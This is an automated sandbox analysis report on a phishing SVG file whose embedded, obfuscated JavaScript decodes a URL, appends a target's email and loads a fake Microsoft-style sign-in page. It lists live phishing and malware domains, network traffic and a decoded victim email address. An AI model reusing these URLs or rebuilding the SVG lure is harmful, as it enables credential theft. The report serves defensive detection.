Edit tour

Windows Analysis Report
ATT50896.svg

Overview

General Information

Sample name:	ATT50896.svg
Analysis ID:	1638684
MD5:	b2f748eee14b1246cf8b320a88cb6673
SHA1:	2b84f512232bf29208f28a8476e5d3b2ade65630
SHA256:	292b9a8c9330f6832e937a1cbca75a8b20393dc374125fa39af4367a623205a1
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected HtmlPhish10

Yara detected HtmlPhish80

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Performs DNS queries to domains with low reputation

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,6788396865685641017,7357401523558097738,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\ATT50896.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ATT50896.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security
ATT50896.svg	JoeSecurity_HtmlPhish_80	Yara detected HtmlPhish_80	Joe Security

HTML

Source	Rule	Description	Author
0.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://inv18993383.cloudfaxservice.de/MSovS/?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t	Avira URL Cloud: Label: phishing
Source: https://6032451419.xyz/google.php	Avira URL Cloud: Label: malware
Source: https://inv18993383.cloudfaxservice.de/MSovS?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t	Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/ATT50896.svg

Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 0.7.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 0.6.pages.csv, type: HTML
Source: Yara match	File source: 0.7.pages.csv, type: HTML
Source: Yara match	File source: 0.8.pages.csv, type: HTML

Yara detected HtmlPhish80

Source: Yara match

File source: ATT50896.svg, type: SAMPLE

AI detected landing page (webpage, office document or email)

Source: file:///C:/Users/user/Desktop/ATT50896.svg

Joe Sandbox AI: Page contains button: 'Verify you are human' Source: '0.4.pages.csv'

AI detected suspicious Javascript

Source: 0.0..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/ATT50896.svg... This script exhibits several high-risk behaviors, including the use of obfuscated code, dynamic code execution, and data exfiltration. The script retrieves a URL from an obfuscated string and appends an encoded email address to it, suggesting potential phishing or malicious activity. Additionally, the use of the `atob()` function to decode the URL indicates the potential for dynamic code execution. Overall, this script demonstrates a high level of suspicion and poses a significant security risk.

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: ATT50896.svg, type: SAMPLE

Source: file:///C:/Users/user/Desktop/ATT50896.svg

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/ATT50896.svg

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/ATT50896.svg

HTTP Parser: Base64 decoded: bjoern.christen@chainiq.com

Source: file:///C:/Users/user/Desktop/ATT50896.svg

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/ATT50896.svg

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/ATT50896.svg

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/ATT50896.svg	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.186.100:443 -> 192.168.2.6:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.73.71:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.153.232.152:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.49.246.64:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.49.246.64:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.22.242.216:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.139:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.96.24:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.96.24:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.96.123:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.96.123:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.158.181:443 -> 192.168.2.6:50915 version: TLS 1.2

Networking

Performs DNS queries to domains with low reputation

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: 6032451419.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: 6032451419.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: 6032451419.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: 6032451419.xyz

Source: global traffic	TCP traffic: 192.168.2.6:49735 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:50897 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 216.58.212.131
Source: unknown	TCP traffic detected without corresponding DNS query: 216.58.212.131
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.96.83
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 20.191.45.158
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /MSovS?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t HTTP/1.1Host: inv18993383.cloudfaxservice.deConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /MSovS/?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t HTTP/1.1Host: inv18993383.cloudfaxservice.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9204aa6769be577b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/9204aa6769be577b/1741964690440/71a107cd5447f57b2c5756f4a94883fec5ebe127dce038cb26b3ae440004ee7f/2fcOOZH0I5q3Jx2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/9204aa6769be577b/1741964690446/1uLqQM8--8n5BJv HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/9204aa6769be577b/1741964690446/1uLqQM8--8n5BJv HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://inv18993383.cloudfaxservice.desec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://inv18993383.cloudfaxservice.desec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://inv18993383.cloudfaxservice.desec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 6032451419-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
